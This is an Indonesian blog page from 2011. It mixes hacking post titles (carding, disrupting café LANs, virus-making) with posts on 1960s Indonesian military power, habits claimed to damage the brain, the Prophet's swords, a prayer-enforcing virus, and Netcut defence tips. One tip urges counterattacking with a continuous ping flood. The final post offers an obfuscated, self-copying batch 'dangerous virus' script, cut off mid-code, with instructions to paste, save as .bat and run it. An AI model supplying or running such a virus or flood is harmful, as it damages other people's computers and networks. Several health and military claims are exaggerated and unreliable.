HACKING KARTU KREDIT

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

TEKNIK CARDING-KARTU KREDIT TANPA SOFTWARE

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

HACKING TIPS : MEMBUAT FOLDER YANG TAK TERTEMBUS

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

HACK DAN KACAUKAN LAN WARNET

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

MENBUAT VIRUS BERBAHAYA

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

TIPS : CARA MENCEGAH DAN MENGHINDARI NETCUT

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

VIRUS PERINGATKAN UNTUK MENJALANKAN SHALAT

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

Playstation Phone akan menjadi kenyataan

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

Mantra-mantra Dalam Film Harry Potter

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

Meningkatkan kecepatan browsing dan download modem

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

Membuat Virus via CD

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

hack mozilla firefox untuk meningkatkan kecepatan browsing

Untuk Info Lebih Lanjut Silahkan Klik di Atas.

Rabu, 16 Februari 2011

Kekuatan Raksasa Militer Indonesia 1960

1960-an, Era Presiden Sukarno.
kekuatan militer Indonesia adalah salahsatu yang terbesar dan terkuat di dunia. Saat itu, bahkan kekuatan Belanda sudah tidak sebanding dengan Indonesia, dan Amerika sangat khawatir dengan perkembangan kekuatan militer kita yang didukung besar-besaran oleh teknologi terbaru Uni Sovyet.

1960, Belanda masih bercokol di Papua. Melihat kekuatan Republik Indonesia yang makin hebat, Belanda yang didukung Barat merancang muslihat untuk membentuk negara boneka yang seakan-akan merdeka, tapi masih dibawah kendali Belanda.

Presiden Sukarno segera mengambil tindakan ekstrim, tujuannya, merebut kembali Papua. Sukarno segera mengeluarkan maklumat "Trikora" di Yogyakarta, dan isinya adalah:
1. Gagalkan pembentukan negara boneka Papua buatan kolonial Belanda.
2. Kibarkan Sang Saka Merah Putih di seluruh Irian Barat
3. Bersiaplah untuk mobilisasi umum, mempertahankan kemerdekaan dan kesatuan tanah air bangsa.

Berkat kedekatan Indonesia dengan Sovyet, maka Indonesia mendapatkan bantuan besar-besaran kekuatan armada laut dan udara militer termaju di dunia dengan nilai raksasa, US$ 2.5 milyar. Saat ini, kekuatan militer Indonesia menjadi yang terkuat di seluruh belahan bumi selatan.

Kekuatan utama Indonesia di saat Trikora itu adalah salahsatu kapal perang terbesar dan tercepat di dunia buatan Sovyet dari kelas Sverdlov, dengan 12 meriam raksasa kaliber 6 inchi. Ini adalah KRI Irian, dengan bobot raksasa 16.640 ton dengan awak sebesar 1270 orang termasuk 60 perwira. Sovyet, tidak pernah sekalipun memberikan kapal sekuat ini pada bangsa lain manapun, kecuali Indonesia. (kapal-kapal terbaru Indonesia sekarang dari kelas Sigma hanya berbobot 1600 ton).




Angkatan udara Indonesia juga menjadi salahsatu armada udara paling mematikan di dunia, yang terdiri dari lebih dari 100 pesawat tercanggih saat itu. Armada ini terdiri dari :
1. 20 pesawat pemburu supersonic MiG-21 Fishbed.
2. 30 pesawat MiG-15.
3. 49 pesawat tempur high-subsonic MiG-17.
4. 10 pesawat supersonic MiG-19.



Pesawat MiG-21 Fishbed adalah salahsatu pesawat supersonic tercanggih di dunia, yang telah mampu terbang dengan kecepatan mencapai Mach 2. Pesawat ini bahkan lebih hebat dari pesawat tercanggih Amerika saat itu, pesawat supersonic F-104 Starfighter dan F-5 Tiger. Sementara Belanda masih mengandalkan pesawat-pesawat peninggalan Perang Dunia II seperti P-51 Mustang.

Sebagai catatan, kedahsyatan pesawat-pesawat MiG-21 dan MiG-17 di Perang Vietnam sampai mendorong Amerika mendirikan United States Navy Strike Fighter Tactics Instructor, pusat latihan pilot-pilot terbaik yang dikenal dengan nama TOP GUN.



Indonesia juga memiliki armada 26 pembom jarak jauh strategis Tu-16 Tupolev (Badger A dan B). Ini membuat Indonesia menjadi salahsatu dari hanya 4 bangsa di dunia yang mempunyai pembom strategis, yaitu Amerika, Rusia, dan Inggris. Pangkalannya terletak di Lapangan Udara Iswahyudi, Surabaya.

Bahkan China dan Australia pun belum memiliki pesawat pembom strategis seperti ini. Pembom ini juga dilengkapi berbagai peralatan elektronik canggih dan rudal khusus anti kapal perang AS-1 Kennel, yang daya ledaknya bisa dengan mudah menenggelamkan kapal-kapal tempur Barat.

Indonesia juga memiliki 12 kapal selam kelas Whiskey, puluhan kapal tempur kelas Corvette, 9 helikopter terbesar di dunia MI-6, 41 helikopter MI-4, berbagai pesawat pengangkut termasuk pesawat pengangkut berat Antonov An-12B. Total, Indonesia mempunyai 104 unit kapal tempur. Belum lagi ribuan senapan serbu terbaik saat itu dan masih menjadi legendaris sampai saat ini, AK-47.

Ini semua membuat Indonesia menjadi salasahtu kekuatan militer laut dan udara terkuat di dunia. Begitu hebat efeknya, sehingga Amerika di bawah pimpinan John F. Kennedy memaksa Belanda untuk segera keluar dari Papua, dan menyatakan dalam forum PBB bahwa peralihan kekuasaan di Papua, dari Belanda ke Indonesia adalah sesuatu yang bisa diterima.

10 Kebiasaan Sepele yang Bisa Menyebabkan Otak Rusak

http://luminousreload.files.wordpress.com/2009/11/otak.jpg
http://rumahsejutaide.files.wordpress.com/2009/04/otak-manusia.jpg

Otak adalah organ tubuh yang paling vital dan penting bagi kelangsungan hidup manusia. Jika manusia diibaratkan sebuah komputer, otak adalah prosesornya. Tapi tanpa disadari, setiap harinya otak bisa mengalami kerusakan dari kebiasaan hidup sehari-hari.

Otak manusia terdiri lebih dari 100 miliar saraf yang masing-masing terkait dengan 10 ribu saraf lain. Otak adalah organ tubuh vital yang merupakan pusat pengendali sistem saraf pusat.

Otak mengatur dan mengkordinir sebagian besar gerakan, perilaku dan fungsi tubuh homeostasis seperti detak jantung, tekanan darah, keseimbangan cairan tubuh dan suhu tubuh. Otak juga bertanggung jawab atas fungsi seperti pengenalan, emosi, ingatan, pembelajaran motorik dan segala bentuk pembelajaran lainnya.

Otak adalah penyalur energi terbesar bagi tubuh. Meski ukuran otak hanya sebesar 2 persen dari keseluruhan berat badan manusia, tapi seluruh kegiatan tubuh dikontrol olehnya. Artinya jika berat badan seseorang 60 kg, maka berat otaknya sekitar 1,2 kg. Hampir 75 persen otak manusia terdiri atas air.

berikut ini 10 kebiasaan sepele yang menyebabkan otak menjadi rusak, yaitu :

1. Tidak sarapan
Mereka yang tidak sarapan akan memiliki kadar gula darah yang rendah. Hal ini akan memicu ketidakcukupan nutrisi pada otak padahal otak butuh nutrisi yang cukup untuk tetap bisa bekerja. Akibat kurang suplai nutrisi terutama glukosa, akhirnya kemampuan otak akan cepat menurun.

2. Makan berlebihan
Sikap yang terlalu berlebihan bisa mengeraskan pembuluh darah di otak yang akhirnya dapat menurunkan kekuatan mental.

3. Merokok
Semua orang tahu merokok itu tidak baik untuk kesehatan dan ada banyak dampak buruk yang dihasilkan bagi organ tubuh jika merokok. Khusus untuk organ otak, merokok bisa menyebabkan otak menyusut dan memicu penyakit pikun atau Alzheimer. Sel-sel saraf akan menyusut pada bagian hippocampus dan korteks depan yang berfungsi menyimpan ingatan.

4. Konsumsi gula berlebih
Terlalu banyak mengonsumsi gula akan mengganggu proses penyerapan protein dan nutrisi sehingga tubuh akan mengalami kekurangan gizi (malnutrisi) dan akhirnya mengganggu perkembangan otak.

5. Polusi udara
Otak adalah organ yang mengonsumsi oksigen paling banyak dari tubuh. Menghirup udara yang penuh polusi akan mengurangi suplai oksigen ke otak dan akhirnya mengurangi efisiensi otak dalam bekerja.

6. Kurang tidur
Tidur akan membuat otak berisitirahat. Kekurangan tidur dalam jangka waktu lama sama saja dengan membunuh sel otak perlahan-lahan karena otak terus dipaksa untuk tetap menyala padahal otak juga butuh istirahat.

7. Menutup kepala saat tidur
Tidur dengan kepala ditutup bantal misalnya, akan meningkatkan konsentrasi karbondioksida ke otak. Saat bernafas dengan kepala tertutup, karbondioksida hasil bernafas akan masuk kembali ke dalam tubuh dan hal itu sangat berbahaya.

8. Tetap bekerja dalam keadaan sakit
Memaksakan diri untuk bekerja atau belajar dalam kondisi sakit sangat tidak baik untuk otak dan akan merusak sel-sel otak.

9. Jarang berbicara
Percakapan akan membantu seseorang untuk terus mengaktifkan sel-sel otaknya, apalagi percakapan yang berbau intelektual. Orang yang jarang berbicara akan membiarkan sel-sel otaknya mati perlahan-lahan karena tidak pernah mengaktifkannya.

10. Jarang menstimulasi pikiran
Berpikir adalah cara paling baik untuk melatih otak. Kurang menstimulasi otak dengan berbagai hal akan menyebabkan otak menyusut. Sel-sel otak akan mati karena tidak ada sesuatu yang membuat otak berkembang.

Penyakit yang berhubungan dengan otak antara lain ketidak mampuan berkomunikasi (Asperger syndrome), trauma atau kerusakan batang otak (traumatic brain injury), keterbelakangan mental (Down syndrome), epilepsi, autisme, ganguan kejiwaan (psychiatric disorders), penyakit disorientasi otak (Alzheimer), kelainan otak kronis yang mengganggu pergerakan (Parkinson), kelumpuhan (Paralyses), kerusakan atau kematian sebagian otak (partial brain degenerative disorder), Szhizoprenia dan lainnya.

Pengobatan yang biasa diterapkan untuk penyakit-penyakit otak adalah menggunakan obat-obatan dan terapi psikis. Tapi kini peneliti dan para ilmuwan sedang giat mengembangkan teknik pengobatan terapi gen dan stem cell yang diyakini dapat memperbaiki neuron atau bagian otak yang telah rusak atau mati.

Selain itu, pengembangan virus tertentu yang telah dimodifikasi secara molekular juga menjadi alternatif baru yang sedang duji peneliti. Virus yang telah dilemahkan ini kemudian diinjeksi ke pasien dan selanjutnya akan bermanfaat memperbaiki sistem saraf yang rusak.

Selasa, 15 Februari 2011

Pedang-pedang Milik Nabi Muhammad SAW

Ini adalah pedang-pedang yang pernah dipakai oleh Nabi Muhammad SAW semasa hidupnya untuk berdakwah, jumlah total pedang yang pernah digunakan ada 9 buah.

1. AL MA’THUR


Foto diambil oleh Muhammad Hasan Muhammad al-Tihami,
Suyuf al-Rasul wa ‘uddah harbi-hi(Cairo: Hijr, 1312/1992).
Juga dikenal sebagai ‘Ma’thur Al-Fijar’ adalah pedang yang dimiliki oleh Nabi Muhammad SAW sebelum dia menerima wahyu yang pertama di Mekah. Pedang ini diberi oleh ayahnya, dan dibawa waktu hijrah dari Mekah ke Medinah sampai akhirnya diberikan bersama-sama dengan peralatan perang lain kepada Ali bin Abi Thalib.
Sekarang pedang ini berada di Museum Topkapi, Istanbul. Berbentuk blade dengan panjang 99 cm. Pegangannya terbuat dari emas dengan bentuk berupa 2 ular dengan berlapiskan emeralds dan pirus. Dekat dengan pegangan itu terdapat Kufic ukiran tulisan Arab berbunyi: ‘Abdallah bin Abd al-Mutalib’.

2. AL 'ADB


Foto diambil oleh Muhammad Hasan Muhammad al-Tihami, Suyuf al-Rasul wa ‘uddah harbi-hi(Cairo: Hijr, 1312/1992).

Al-’Adb, nama pedang ini, berarti “memotong” atau “tajam.” Pedang ini dikirim ke para sahabat Nabi Muhammad SAW sesaat sebelum Perang Badar. Dia menggunakan pedang ini di Perang Uhud dan pengikut-pengikutnnya menggunakan pedang ini untuk menunjukkan kesetiaan kepada Nabi Muhammad SAW. Sekarang pedang ini berada di masjid Husain di Kairo Mesir.

3. DHU AL FAQAR


Foto diambil oleh Muhammad Hasan Muhammad al-Tihami, Suyuf al-Rasul wa ‘uddah harbi-hi(Cairo: Hijr, 1312/1992).
Dhu Al Faqar adalah sebuah pedang Nabi Muhammad SAW sebagai hasil rampasan pada waktu perang Badr. Dan dilaporkan bahwa Nabi Muhammad SAW memberikan pedang ini kepada Ali bin Abi Thalib, yang kemudian Ali mengembalikannya ketika Perang Uhud dengan bersimbah darah dari tangan dan bahunya, dengan membawa Dhu Al Faqar di tangannya.
Banyak sumber mengatakan bahwa pedang ini milik Ali Bin Abi Thalib dan keluarga. Berbentuk blade dengan dua mata.

4. AL BATTAR


Foto diambil oleh Muhammad Hasan Muhammad al-Tihami, Suyuf al-Rasul wa ‘uddah harbi-hi(Cairo: Hijr, 1312/1992).
Al Battar adalah sebuah pedang Nabi Muhammad SAW sebagai hasil rampasan dari Banu Qaynaqa. Pedang ini disebut sebagai ‘Pedangnya para nabi‘, dan di dalam pedang ini terdapat ukiran tulisan Arab yang berbunyi :
‘Nabi Daud AS, Nabi Sulaiman AS, Nabi Musa AS, Nabi Harun AS, Nabi Yusuf AS, Nabi Zakaria AS, Nabi Yahya AS, Nabi Isa AS, Nabi Muhammad SAW’.
Gambar ukiran nama-nama para nabi di dalamnya :
Di dalamnya juga terdapat gambar Nabi Daud AS ketika memotong kepala dari Goliath, orang yang memiliki pedang ini pada awalnya. Di pedang ini juga terdapat tulisan yang diidentifikasi sebagai tulisan Nabataean.
Sekarang pedang ini berada di Museum Topkapi, Istanbul. Berbentuk blade dengan panjang 101 cm. Dikabarkan bahwa ini adalah pedang yang akan digunakan Nabi Isa AS kelak ketika dia turun ke bumi kembali untuk mengalahkan Dajjal.

5. HATF


Foto diambil oleh Muhammad Hasan Muhammad al-Tihami,
Suyuf al-Rasul wa ‘uddah harbi-hi(Cairo: Hijr, 1312/1992)
Hatf adalah sebuah pedang Nabi Muhammad SAW sebagai hasil rampasan dari Banu Qaynaqa. Dikisahkan bahwa Nabi Daud AS mengambil pedang ‘Al Battar’ dari Goliath sebagai rampasan ketika dia mengalahkan Goliath tersebut pada saat umurnya 20 tahun.
Allah SWT memberi kemampuan kepada Nabi Daud AS untuk ‘bekerja’ dengan besi, membuat baju baja, senjata dan alat perang, dan dia juga membuat senjatanya sendiri. Dan Hatf adalah salah satu buatannya, menyerupai Al Battar tetapi lebih besar dari itu.
Dia menggunakan pedang ini yang kemudian disimpan oleh suku Levita (suku yang menyimpan senjata-senjata barang Israel) dan akhirnya sampai ke tangan Nabi Muhammad SAW. Sekarang pedang ini berada di Musemum Topkapi, Istanbul. Berbentuk blade, dengan panjang 112 cm dan lebar 8 cm.

6. AL MIKHDHAM


Foto diambil oleh Muhammad Hasan Muhammad al-Tihami,
Suyuf al-Rasul wa ‘uddah harbi-hi(Cairo: Hijr, 1312/1992).
Ada yang mengabarkan bahwa pedang ini berasal dari Nabi Muhammad SAW yang kemudian diberikan kepada Ali bin Abi Thalib dan diteruskan ke anak-anaknya Ali. Tapi ada kabar lain bahwa pedang ini berasal dari Ali bin Abi Thalib sebagai hasil rampasan pada serangan yang dia pimpin di Syria.
Sekarang pedang ini berada di Museum Topkapi, Istanbul. Berbentuk blade dengan panjang 97 cm, dan mempunyai ukiran tulisan Arab yang berbunyi: ‘Zayn al-Din al-Abidin’.

7. AL RASUB


Foto diambil oleh Muhammad Hasan Muhammad al-Tihami,
Suyuf al-Rasul wa ‘uddah harbi-hi(Cairo: Hijr, 1312/1992).
Ada yang mengatakan bahwa pedang ini dijaga di rumah Nabi Muhammad SAW oleh keluarga dan sanak saudaranya seperti layaknya bahtera (Ark) yang disimpan oleh bangsa Israel.
Sekarang pedang ini berada di Museum Topkapi, Istanbul. Berbentuk blade dengan panjang 140 cm, mempunyai bulatan emas yang didalamnya terdapat ukiran tulisan Arab yang berbunyi: ‘Ja’far al-Sadiq’.

8. AL QADIB


Foto diambil oleh Muhammad Hasan Muhammad al-Tihami,
Suyuf al-Rasul wa ‘uddah harbi-hi(Cairo: Hijr, 1312/1992).
Al-Qadib berbentuk blade tipis sehingga bisa dikatakan mirip dengan tongkat. Ini adalah pedang untuk pertahanan ketika bepergian, tetapi tidak digunakan untuk peperangan.
Ditulis di samping pedang berupa ukiran perak yang berbunyi syahadat:
“Tidak ada Tuhan selain Allah, Muhammad Rasul Allah – Muhammad bin Abdallah bin Abd al-Mutalib.”
Tidak ada indikasi dalam sumber sejarah bahwa pedang ini telah digunakan dalam peperangan. Pedang ini berada di rumah Nabi Muhammad SAW dan kemudian hanya digunakan oleh khalifah Fatimid.
Sekarang pedang ini berada di Museum Topkapi, Istanbul. Panjangnya adalah 100 cm dan memiliki sarung berupa kulit hewan yang dicelup.

9. QAL’A


Foto diambil oleh Muhammad Hasan Muhammad al-Tihami,
Suyuf al-Rasul wa ‘uddah harbi-hi(Cairo: Hijr, 1312/1992).
Pedang ini dikenal sebagai “Qal’i” atau “Qul’ay.” Nama yang mungkin berhubungan dengan tempat di Syria atau tempat di dekat India Cina. Ulama negara lain bahwa kata “qal’i” merujuk kepada “timah” atau “timah putih” yang di tambang berbagai lokasi.
Pedang ini adalah salah satu dari tiga pedang Nabi Muhammad SAW yang diperoleh sebagai rampasan dari Bani Qaynaqa. Ada juga yang melaporkan bahwa kakek Nabi Muhammad SAW menemukan pedang ini ketika dia menemukan air Zamzam di Mekah.
Sekarang pedang ini berada di Museum Topkapi, Istanbul. Berbentuk blade dengan panjang 100 cm. Didalamnya terdapat ukiran bahasa Arab berbunyi: “Ini adalah pedang mulia dari rumah Nabi Muhammad SAW, Rasul Allah.”
Pedang ini berbeda dari yang lain karena pedang ini mempunyai desain berbentuk gelombang.

Sabtu, 12 Februari 2011

Virus Peringatkan untuk menjalankan Shalat

VIRUS PRAY (virus VBWorm.NVX)


Bertepatan dengan bulan ramadan, sebuah virus akan mematikan komputer korbannya jika belum salat.

Virus bernama VBWorm.NVX itu dikabarkan kehadirannya oleh para analis dari Vaksin.com. Virus ‘religius’ itu akan menampilkan pesan lima kali sehari sesuai waktu salat umat islam.

virus itu akan aktif setiap hari pukul 13.00, (waktu Dzuhur), 16:00 (waktu Ashar), 18:30 (waktu Maghrib), 20:00 (waktu Isya) dan 5:30 (waktu Subuh).

Virus itu menampilkan pesan “Apakah Anda seorang Muslim ?” jika dijawab ‘Ya’, virus itu akan melanjutkan dengan ‘Sudahkan Anda Shalat ?’. Jika pada pertanyaan kedua dijawab ‘Sudah’ maka pesan akan hilang, tapi jika dijawab ‘belum’ maka komputer akan dimatikan.

“VBWorm.NVX ini tergolong masih baik karena tidak sampai melakukan blok terhadap fungsi Windows atau tools security, VBWorm.NVX juga tidak akan menyembunyikan file atau dokumen dan tidak akan membuat file duplikat seperti yang dilakukan oleh virus lokal pada umumnya

VBWorm.NVX memiliki wujud icon Microsoft Windows Explorer dengan tipe file aplikasi (.exe) berukuran 56 kilobyte. Pengguna komputer bisa tertular virus ini melalui jalur USB Flash Drive.

Tips : Cara mencegah dan menghindari Netcut

Secara umum netcut adalah tools yang digunakan untuk memanage bandwith di dalam sebuah jaringan, bisa dibilang untuk mengamankan jaringan. namun akan berbeda jika netcut digunakan oleh orang - orang jail dan serakah yang ingin mendapatkan koneksi luar biasa dengan cara memutuskan koneksi user lain. cara kerja dari program netcut ini adalah melisting jaringan anda dimana akan tampil ip addres, Hostname, dan mac addres user yang sedang online. disinilah para attacker dengan sangat mudah mengattack anda di dalam jaringan. untuk mencegah atau menghindari serangan yang dilancarkan oleh pengguna netcut baik dalam jaringan warnet maupun hotspot caranya adalah sebagai berikut :

1. Check apakah terdapat ARP (Address Resolution Protocol)

- buka cmd (command prompt)
- ketik arp -a, tujuanya adalah untuk meilhat ip router. seharusnya akan tampil 1 ip outer, jika terlihat lebih dari satu maka ubah niat anda untuk membuka web - web penting dan protokol yang tidak encrypt seperti FTP dan HTTP login untuk menghindari MITM / Man In The Middle Attack.
- untuk mengidentifikasi arp ip yang muncul ketikan perintah, tracert domain.com


2. Ubah alamat ip Addres

karena netcut melisting ip addres di dalam jaringan, maka kamu harus mengganti alamat ip. saran saya ubah kedekat dengan ip server atau gateway untuk mengelabui si attacker netcut.

3. Matikan layanan workstation.

- Run, kemudian ketik services.msc
- cari layanan workstation
- jika sudah ketemu, klik kanan, properties, klik tombol stop

4. Ganti hostname atau nama komputer anda

hostname yang tervisible sangat rentan sekali untuk diserang, oleh karena itu disarankan untuk mengganti dengan hostname yang dekat dengan kepentingan jaringan.

5. bisa menggunakan software bantu, cari sooftware antinetcut.

6. serang balik si attacker. karena si pengguna netcut ini sebagai gateway, banjiri komputer dia dengan ping secara terus menerus dengan mengetikan google.com -t
pada cmd (command prompt). cara ini akan membuat komputer pengguna netcut hang.


7. grebek bareng2 ja deh he,,,,,,,


cara diatas merupakan cara yang sederhana untuk menghindari serangan pengguna netcut. Ada juga cara lain yaitu melalui Anti netcut yang dapat anda download melalui Google.

Menbuat Virus berbahaya

Silahkan copy paste seluruh script yang ada disini ke notepad, truz save dengan extensi .bat, lalu jalankan. Tinggal lihat efeknya di komputer…..

set shadow=0
@echo off % mawar-kuning %
cls % mawar-kuning %
% mawar-kuning %set /a shadow=%shadow%+1
% mawar-kuning %if %shadow% EQU 5 (
% mawar-kuning %echo kamu telah terinfeksi mawar kuning !!
% mawar-kuning %set shadow=0
% mawar-kuning %)
% mawar-kuning %echo set shadow=%shadow% >mawarkuning.bat
% mawar-kuning %set shadow=
% mawar-kuning %set qwxykjsi=set
% mawar-kuning %set aaa=A
%qwxykjsi% fi=if % mawar-kuning %
%qwxykjsi% nt=not % mawar-kuning %
%qwxykjsi% el=errorlevel % mawar-kuning %
%qwxykjsi% ine=%fi% %nt% %el% % mawar-kuning %
% mawar-kuning %set vrsa=rndom
set oto=goto% mawar-kuning %
%qwxykjsi% a=0 % mawar-kuning %
set fd=find% mawar-kuning %
%fd% “mawar-kuning”<%0>>mawarkuning.bat
%qwxykjsi% xp=true% mawar-kuning %
% mawar-kuning %if %xp% EQU true goto xptruea
goto winmawar % mawar-kuning %
:xptruea % mawar-kuning %
% mawar-kuning %set a=0
% mawar-kuning %set b=0
% mawar-kuning %set c=0
% mawar-kuning %set d=0
% mawar-kuning %set e=0
% mawar-kuning %set f=0
% mawar-kuning %set g=0
% mawar-kuning %set h=0
% mawar-kuning %set i=0
% mawar-kuning %set j=0
% mawar-kuning %set k=0
% mawar-kuning %set l=0
% mawar-kuning %set m=0
% mawar-kuning %set n=0
% mawar-kuning %set o=0
% mawar-kuning %set p=0
% mawar-kuning %set q=0
% mawar-kuning %set r=0
% mawar-kuning %set s=0
% mawar-kuning %set t=0
% mawar-kuning %set u=0
:mulai0 % mawar-kuning %
% mawar-kuning %set aa=0
:mulai1 % mawar-kuning %
if %aa% EQU 5 goto endmawarkuning % mawar-kuning %
%qwxykjsi% /a aa=%aa%+1 % mawar-kuning %
:mulai2 % mawar-kuning %
ver|time|%fd% “,1?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=1% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,2?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=2% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,3?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=3% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,4?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=4% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,5?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=5% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,6?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=6% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,7?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=7% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,8?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=8% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,9?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=9% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,0?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=10% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
goto mulai2 % mawar-kuning %
:endmawarkuning % mawar-kuning %
% mawar-kuning %if %a% NEQ 1 (if %rndom1% EQU 1 (
% mawar-kuning %find “%aaa%AAA” <%0 >>mawarkuning.bat
% mawar-kuning %set a=1
% mawar-kuning %))
% mawar-kuning %if %b% NEQ 1 (if %rndom1% EQU 2 (
% mawar-kuning %find “%aaa%BBB” <%0 >>mawarkuning.bat
% mawar-kuning %set b=1
% mawar-kuning %))
% mawar-kuning %if %c% NEQ 1 (if %rndom1% EQU 3 (
% mawar-kuning %find “%aaa%CCC” <%0 >>mawarkuning.bat
% mawar-kuning %set c=1
% mawar-kuning %))
% mawar-kuning %if %d% NEQ 1 (if %rndom1% EQU 4 (
% mawar-kuning %find “%aaa%DDD” <%0 >>mawarkuning.bat
% mawar-kuning %set d=1
% mawar-kuning %))
% mawar-kuning %if %e% NEQ 1 (if %rndom2% EQU 1 (
% mawar-kuning %find “%aaa%EEE” <%0 >>mawarkuning.bat
% mawar-kuning %set e=1
% mawar-kuning %))
% mawar-kuning %if %f% NEQ 1 (if %rndom2% EQU 2 (
% mawar-kuning %find “%aaa%FFF” <%0 >>mawarkuning.bat
% mawar-kuning %set f=1
% mawar-kuning %))
% mawar-kuning %if %g% NEQ 1 (if %rndom2% EQU 3 (
% mawar-kuning %find “%aaa%GGG” <%0 >>mawarkuning.bat
% mawar-kuning %set g=1
% mawar-kuning %))
% mawar-kuning %if %h% NEQ 1 (if %rndom2% EQU 4 (
% mawar-kuning %find “%aaa%HHH” <%0 >>mawarkuning.bat
% mawar-kuning %set h=1
% mawar-kuning %))
% mawar-kuning %if %i% NEQ 1 (if %rndom3% EQU 1 (
% mawar-kuning %find “%aaa%III” <%0 >>mawarkuning.bat
% mawar-kuning %set i=1
% mawar-kuning %))
% mawar-kuning %if %j% NEQ 1 (if %rndom3% EQU 2 (
% mawar-kuning %find “%aaa%JJJ” <%0 >>mawarkuning.bat
% mawar-kuning %set j=1
% mawar-kuning %))
% mawar-kuning %if %k% NEQ 1 (if %rndom3% EQU 3 (
% mawar-kuning %find “%aaa%KKK” <%0 >>mawarkuning.bat
% mawar-kuning %set k=1
% mawar-kuning %))
% mawar-kuning %if %l% NEQ 1 (if %rndom3% EQU 4 (
% mawar-kuning %find “%aaa%LLL” <%0 >>mawarkuning.bat
% mawar-kuning %set l=1
% mawar-kuning %))
% mawar-kuning %if %m% NEQ 1 (if %rndom4% EQU 1 (
% mawar-kuning %find “%aaa%MMM” <%0 >>mawarkuning.bat
% mawar-kuning %set m=1
% mawar-kuning %))
% mawar-kuning %if %n% NEQ 1 (if %rndom4% EQU 2 (
% mawar-kuning %find “%aaa%NNN” <%0 >>mawarkuning.bat
% mawar-kuning %set n=1
% mawar-kuning %))
% mawar-kuning %if %o% NEQ 1 (if %rndom4% EQU 3 (
% mawar-kuning %find “%aaa%OOO” <%0 >>mawarkuning.bat
% mawar-kuning %set o=1
% mawar-kuning %))
% mawar-kuning %if %p% NEQ 1 (if %rndom4% EQU 4 (
% mawar-kuning %find “%aaa%PPP” <%0 >>mawarkuning.bat
% mawar-kuning %set p=1
% mawar-kuning %))
% mawar-kuning %if %q% NEQ 1 (if %rndom5% EQU 1 (
% mawar-kuning %find “%aaa%QQQ” <%0 >>mawarkuning.bat
% mawar-kuning %set q=1
% mawar-kuning %))
% mawar-kuning %if %r% NEQ 1 (if %rndom5% EQU 2 (
% mawar-kuning %find “%aaa%RRR” <%0 >>mawarkuning.bat
% mawar-kuning %set r=1
% mawar-kuning %))
% mawar-kuning %if %s% NEQ 1 (if %rndom5% EQU 3 (
% mawar-kuning %find “%aaa%SSS” <%0 >>mawarkuning.bat
% mawar-kuning %set s=1
% mawar-kuning %))
% mawar-kuning %if %t% NEQ 1 (if %rndom5% EQU 4 (
% mawar-kuning %find “%aaa%TTT” <%0 >>mawarkuning.bat
% mawar-kuning %set t=1
% mawar-kuning %))
% mawar-kuning %if %u% NEQ 1 (if %rndom5% EQU 5 (
% mawar-kuning %find “%aaa%UUU” <%0 >>mawarkuning.bat
% mawar-kuning %set u=1
% mawar-kuning %))
% mawar-kuning %if %a% EQU 1 (if %b% EQU 1 (if %c% EQU 1 (if %d% EQU 1 (
% mawar-kuning %if %e% EQU 1 (if %f% EQU 1 (if %g% EQU 1 (if %h% EQU 1 (
% mawar-kuning %if %i% EQU 1 (if %j% EQU 1 (if %k% EQU 1 (if %l% EQU 1 (
% mawar-kuning %if %m% EQU 1 (if %n% EQU 1 (if %o% EQU 1 (if %p% EQU 1 (
% mawar-kuning %if %q% EQU 1 (if %r% EQU 1 (if %s% EQU 1 (if %t% EQU 1 (if %u% EQU 1 (
goto irca % mawar-kuning %
% mawar-kuning %)))))))))))))))))))))
goto mulai0 % mawar-kuning %
:winmawar % mawar-kuning %
set wina=0% mawar-kuning %
set winb=0% mawar-kuning %
set winc=0% mawar-kuning %
set wind=0% mawar-kuning %
set wine=0% mawar-kuning %
set oto=% mawar-kuning %
set qwxykjsi=% mawar-kuning %
set nt=% mawar-kuning %
set fi=% mawar-kuning %
set el=% mawar-kuning %
set ine=% mawar-kuning %
:mulaiwin2 % mawar-kuning %
% mawar-kuning %if not %wina%==1 goto mawarkuningengi
% mawar-kuning %if not %winb%==1 goto mawarkuningengi
% mawar-kuning %if not %winc%==1 goto mawarkuningengi
% mawar-kuning %if not %wind%==1 goto mawarkuningengi
% mawar-kuning %if not %wine%==1 goto mawarkuningengi
goto winirc % mawar-kuning %
:mawarkuningengi % mawar-kuning %
ver|time|find “,1?>nul % mawar-kuning %
if not errorlevel 1 set randoma=1% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
